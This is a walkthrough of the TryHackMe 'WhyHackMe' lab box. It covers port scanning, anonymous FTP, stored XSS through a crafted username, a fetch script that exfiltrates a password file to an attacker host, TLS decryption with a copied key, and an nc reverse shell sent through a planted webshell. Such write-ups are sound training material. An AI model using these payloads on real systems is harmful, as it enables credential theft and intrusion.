TryHackMe WhyHackMe Writeup

This writeup will help you solve the WhyHackMe box on TryHackMe. Before we start tackling this box, please add this domain to your /etc/hosts file.

echo "<box_ip>   whyhackme.thm" >> /etc/hosts

TryHackMe WhyHackMe – Enumeration

Before we can start talking about exploiting, we have to find some vulnerabilities for a foothold first. Running a portscan on this host, is a good first step. We will use RustScan for port scanning. You can read more about RustScan here. Run the following command to scan all the ports:

rustscan -a whyhackme.thm -- -A -sC -sV

All flags after the — -A sequence, are treated as nmap flags, flags that are used by the nmap port scanner as well. The sC(or –script=default) and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information. You can see the output of the port scan below:

PORT      STATE SERVICE  REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.9.11.67
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Welcome!!
41312/tcp open  ssl/http syn-ack Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName= boring.box/organizationName= /stateOrProvinceName= /countryName=AU/emailAddress= /localityName= /organizationalUnitName= 
| Issuer: commonName= boring.box/organizationName= /stateOrProvinceName= /countryName=AU/emailAddress= /localityName= /organizationalUnitName= 
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-25T19:06:50
| Not valid after:  2023-02-25T19:06:50
| MD5:   1a81 f6a2 fc17 0b08 f816 e878 5474 9256
| SHA-1: ff1d 1ad0 78e4 cc96 7cd4 f295 e19a 36e8 670d 2b1a
| -----BEGIN CERTIFICATE-----
| MIIFqzCCA5OgAwIBAgIUF/w7hQmOJCbnwdPz0RbPSXkHHf8wDQYJKoZIhvcNAQEL
| BQAwZTELMAkGA1UEBhMCQVUxCjAIBgNVBAgMASAxCjAIBgNVBAcMASAxCjAIBgNV
| BAoMASAxCjAIBgNVBAsMASAxFDASBgNVBAMMCyBib3JpbmcuYm94MRAwDgYJKoZI
| hvcNAQkBFgEgMB4XDTIyMDIyNTE5MDY1MFoXDTIzMDIyNTE5MDY1MFowZTELMAkG
| A1UEBhMCQVUxCjAIBgNVBAgMASAxCjAIBgNVBAcMASAxCjAIBgNVBAoMASAxCjAI
| BgNVBAsMASAxFDASBgNVBAMMCyBib3JpbmcuYm94MRAwDgYJKoZIhvcNAQkBFgEg
| MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzpDQmk9LBx0tV/yI6np7
| 0RS+cY2EM9/DWf7mSWLWmExx2ZsxNpl01OCda15ShVXkOrd49wXp8sRhiM/xA0Kj
| 6MTuw9dD80sOXbxhlHJ2AP4YKeVz1Io77RzHDLapbqSNeRDHpfQn9GhTGFNTtpzN
| GKEab4mZ/t60O0jswa/s76N6ZmR3uASvRDv65245mYFpBGudsIDb8uS54oRrfY8d
| mLUxibaRKnPsrW+hGqVOy0q8A3ptOQznP9+Tbxzvll/326DdfpfVlV8MT3Uwcf8+
| U8pKzyo0kkwcMyFY6kpiUvNpujVddu/D+yS/6hiASXCavgDmfUtDPVrFrC1QKar6
| sE+ILYBqDx9Jn2JZHCahYv62jPBoRamLYQJ3tS+92WxngnpSotG46dSMXdBBNTx6
| xfgr6/OHJHukVyVgOkgltcul7oN5bSYRUmoLCDc6SKgY+gHx7hj8htzDTm/cCKRw
| S9HbsNZxJyTdljVH3SKgfuNfyIZ/5vH229yske1G8RPYgraNf4jL4vw31h4qFSjz
| pVraxgV7QAYx51Uksw3IjKuBMjPhTalGrsGHmzjbPeRTiHSV+s7LF8Zc3t2bMgbg
| gIcuVBDhwptwLuzUIIxmPvY8dzFzhDH2YjBlDnExNnv9PqVFe3C0DUGxT5Vl2fgg
| f3M8r4LYWSyg1GvM16jm86UCAwEAAaNTMFEwHQYDVR0OBBYEFKNGodkiYf2NJdF2
| 9kT+XrNrtLv7MB8GA1UdIwQYMBaAFKNGodkiYf2NJdF29kT+XrNrtLv7MA8GA1Ud
| EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggIBAHnv7yFhRvx2MXxdsfeGeCTA
| MsAKBNtQkk/Y4WUmgwsRb0ghdtBA7q97SBMeQo9xAvAvRPAeIyc4R1beI7ubmMaM
| CBJPylrcBloOe1X9sWA0c/VHugcOdFHfNUL53W7/31rocYPwiduwrcBf+ABMxl6d
| 58sg0qN8sOJBoeYcUet0G92elgbo3JBYubf1M2hg4/cVRAKbydUYc3w1uFPcqfL1
| L+rxiDd1SF8suPx0EqWlJTHvZ5CyCtbQ6OiUpstsXIUsd6ts64E4RMuY7MgE2Rky
| hwbyll3nPWk1I6m5buzuqd2l3HGUBt5z9zNon7mHE86usHTDXIgvbdPqoahD1sy1
| f3JECs2ZRVxi5nExGbHLxpBgaSDsysghroEcuQrg2vRwWwEua3GRuWb9vLz1kvFG
| n0ZZBMjwCPlCC658QUocFbGdIh5u6RsQn48m7HGrwhmeOxcPo6OLBlRiFdAvCPa9
| WuOmQufeWEjI8OJI9Xegr7azYoG3itVzSeUgL8zgxoCwsqTkjtRQYHsY5urHVjHa
| bxP43bZHDLSN8mm3/fomYpRSef5EglDfx7ptva7qV3hsuUU9cvYsKfbR6/C8XFN/
| mAslcu1/oJOc5m98/atRi+JjqUntygdCdc2GIEj3G+hFcOQ3a+z4BUBGKnEqgner
| 5SkTRLlOQM4m5UpraCPx
|_-----END CERTIFICATE-----
Service Info: Host: www.example.com; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

As you can see there are 3 open ports.

  • Port 21 serves as a FTP-server and it seems like anonymous log-in is enabled.
  • Port 22 serves as a SSH-sever. Nothing special for now.
  • Port 80 serves as a web server.
  • Port 41312 serves a secured web server. We are unable to view its content at this point in time.

FTP

Because anonymous log-in is enabled, we first check the contents of the FTP-server. Log into the FTP server by running the following command:

ftp [email protected]

Press enter to continue, since you do not need a password. We are logged in the FTP-server. First, let’s see what kind of files are located in the current directory. Do so by running:

ls

Below you can see the listing:

-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt

There is just a single file that is readable by any user on the system. Download the file to your attacking machine and read its content by running:

get update.txt
exit
cat update.txt

I also pasted the content of the file below for you to see:

Hey I just removed the old user mike because that account was compromized and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account. 
- admin

Important to note here is that there is a called file: pass.txt that is only accessible on the web for the local machine. We will come back to this later in this post.

Web

Now that we fully explored the FTP server, let’s move over to the web server. Browse to http://whyhackme.thm/. You can see the following content:

TryHackMe WhyHackMe - Web Index

The web server hosts a personal website. As you can see there is a single link pointing to a blog.php page. Clicking this link gives you the following page:

TryHackMe WhyHackMe - blog.php

On this page, you can view a single blog. One is also able to comment on this post by logging in. You can view the log-in screen below:

TryHackMe WhyHackMe - Login Form

Before we are able to log-in the blog site, we need to create an account. The link for logging in is: http://whyhackme.thm/login.php. Seeing this URL made me realize that it is highly likeable that the registration form is located at: http://whyhackme.thm/register.php. Visiting this page shows the following page:

TryHackMe WhyHackMe - Registration Form

It is rather easy to create an account. For now, create an account by providing your own username + password combination. Then go back to http://whyhackme.thm/login.php to log in using your credentials. After logging in, return to the http://whyhackme.thm/blog.php page. You should now see the following comment section:

TryHackMe WhyHackMe - Comment Section

TryHackMe WhyHackMe – XSS

Some forms are prone to Cross-Site Scripting (XSS) vulnerabilities. In short, by exploiting XSS vulnerabilities, an attacker is able to run malicious scripts on a website. Whenever you see a comment form in a CTF challenge, you should think of a XSS vulnerability right away. By commenting on the blog post, the user specifies two fields that might be injectable by scripts:

  • The content of a comment
  • The user that comments on a post

Below the post, you can see that the admin user already commented on this post. The comment is showing both the username and the content. Creating a comment like: &lgt;script>console.log(“obz”);&lgt;/script> does not result in the script being executed. Thus, since injecting scripts as a comment content does not work, let’s try to create a user to inject some specific form of script. Go back to: http://whyhackme.thm/register.php and create a new user with the credentials username: <script>console.log("obz");</script> and with a password of your liking. Log in as this user, using the login form and go back to the blog post. Write a new comment as this user and check your browser console. If all went well, one of the lines in your console should be:

obz

Now that we confirmed that we are able to inject our own scripts within this web page, we can exploit this XSS vulnerability to acquire the aforementioned http://127.0.0.1/dir/pass.txt file. First, let’s create a simple script to fetch the pass.txt file and send it’s contents to our attacking server:

fetch('http://127.0.0.1/dir/pass.txt')
  .then(response => response.text())
  .then(data => {
    let attackerServer = 'http://ATTACK_IP:8000/catch?data=' + encodeURIComponent(data);
    // Use an Image tag for GET request
    let img = document.createElement('img');
    img.src = attackerServer;
    document.body.appendChild(img);
  });

This script fetches the contents of pass.txt. Then it decodes the output as data and sends it to our web server. We use port 8000, because we start our own web server using Python. By default, this simple web server runs on port 8000. Save the file as inject.js, and make sure to add the VPN IP address of your attacking machine. Then, in the same directory as where you saved your file, open a terminal and run:

python3 -m http.server

With this command, a simple web server is started.

Getting Foothold to the server

Now go back to http://whyhackme.thm/register.php and create an account with the username:

<script src=http://ATTACK_IP:8000/inject.js></script>

The password can be anything. After creating the account, log in using the same form. Now write a comment and check back on your Python web server. If all went well, see a line like this in your terminal where you started the Python webserver:

HOST_IP - - [04/Feb/2024 19:16:19] "GET /catch?data=jack%REDACTED%0A HTTP/1.1" 404 -

Everything behind the data= query parameter is URL-encoded. You need to decode the value of data using an URL-decoder, for instance: urldecoder.com. Ater decoding, you can see a user+password combination. The username is jack. Use this combination to log in the server using SSH:

ssh [email protected]

Congratulations, we now have user-access to the machine. Get the user.txt flag by running:

cat /home/jack/user.txt

TryHackMe WhyHackMe – root.txt flag

Now that we have an initial foothold, let’s try to elevate privileges to get the root.txt file. First, run: sudo -l to see which elevated commands we can run as the jack user. The output can be seen below:

Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables

Iptables

Iptables is a Linux Firewall. We can view all the rules set by running:

sudo iptables -L

One of the lines is as follows:

DROP       tcp  --  anywhere             anywhere             tcp dpt:41312

It seems like there is a specific port number hidden for the outside world. Let’s explore the server a bit more in detail. One of the directories in a Linux-system that contains applications is the /opt directory. Go to the /opt directory using cd /opt. Within this directory, there are 2 files:

capture.pcap  
urgent.txt

The content of the urgent.txt is:

Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.

Checking suspicious packages

In short, it seems like the server has been hacked. The hack itself can be analyzed, using the capture.pcap file. Let’s get this file to our attacking machine to open it with Wireshark, the best tool to read network packages. Run the following command on your attacking machine:

scp [email protected]:/opt/capture.pcap .

Now open the file in Wireshark. If you do not yet have Wireshark installed, you can download it at: https://www.wireshark.org/. After opening the file in Wireshark, we came to the conclusion that we are unable to read the packages, since they are encrypted using some sort of SSL certificate.

Luckily for us, the contents of the web configurations are readable. For instance, we can read the /etc/apache2/sites-available/000-default.conf file. Do so by running:

cat /etc/apache2/sites-available/000-default.conf

Below you can see the relevant content of the 41312 port:

<VirtualHost *:41312>
        ServerName www.example.com
        ServerAdmin webmaster@localhost
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCipherSuite AES256-SHA
        SSLProtocol -all +TLSv1.2
        SSLCertificateFile /etc/apache2/certs/apache-certificate.crt
        SSLCertificateKeyFile /etc/apache2/certs/apache.key
	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
	AddHandler cgi-script .cgi .py .pl
	DocumentRoot /usr/lib/cgi-bin/
	<Directory "/usr/lib/cgi-bin">
		AllowOverride All 
		Options +ExecCGI -Multiviews +SymLinksIfOwnerMatch
		Order allow,deny
		Allow from all
	</Directory>
</VirtualHost>

Decrypting TLS traffic

As you can see here, the certifcate is encrypted by a key: /etc/apache2/certs/apache.key. This key can be used by WireShark to read the packages of port 4132. Now acquire the TLS key by running:

scp [email protected]:/etc/apache2/certs/apache.key .

Provide the password of jack two times to acquire both files. Now open Wireshark and go to Edit → preferences → Protocols → TLS → RSA key list → Edit. Or see below:

TryHackMe WhyHackMe - Wireshark

Click edit, then the + sign. You should be able to create a screen as follows:

TryHackMe WhyHackMe - SSL Config

Do not forget to add the key file by double clicking in the Key File column. After setting up the TLS key, we can now read some of the packages on this port. In Wireshark you can filter these packages by the following filter:

tcp.port == 41312 && http

Using the hacker’s webshell

Now we can see a backdoor shell is visited several times. The URL seems to be:

https://whyhackme.thm:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id

Visiting this page gives:

uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)

It seems like we can exploit this webshell as well. We crafted the following reverse shell payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKING_IP 9001 >/tmp/f

In order for the server to understand what’s inside, we have to URL encode the payload. The URL + encoded payload should look like this:

https://whyhackme.thm:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20ATTACKING_IP%209001%20%3E%2Ftmp%2Ff

If all went well, you should be able to have a shell in the terminal. Elevate the shell to be interactive by running the following commands:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo;fg
ENTER
ENTER

Note: The capitalized words are keyboard combinations (except for TERM).

Now that we have an interactive shell, we can check whether the www-data user is able to run some elevated commands. Do so by running: sudo –. The output can be seen below:

Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL

Run sudo su and you are elevated to the root user! Run cat /root/root.txt to get the root.txt flag.

TryhHackMe WhyHackMe – Conclusion

We had fun rooting the TryHackMe WhyHackMe box! It gave us some clear understanding of exploiting XSS vulnerabilities. As we were searching for the root.txt flag, we came to the conclusion that a lower-level user was able to change the firewall. Usually, this should not be possible. This was the same for the TLS keys, these should not be visible as well. The box contained a web shell put in by a previous hacker. It is important to note that a system should be scanned continuously. Last, the www-data user should not have the same privileges as the root user. This is because when the web server gets compromized, the attacker can edit the whole machine freely.

Leave a Reply

Your email address will not be published. Required fields are marked *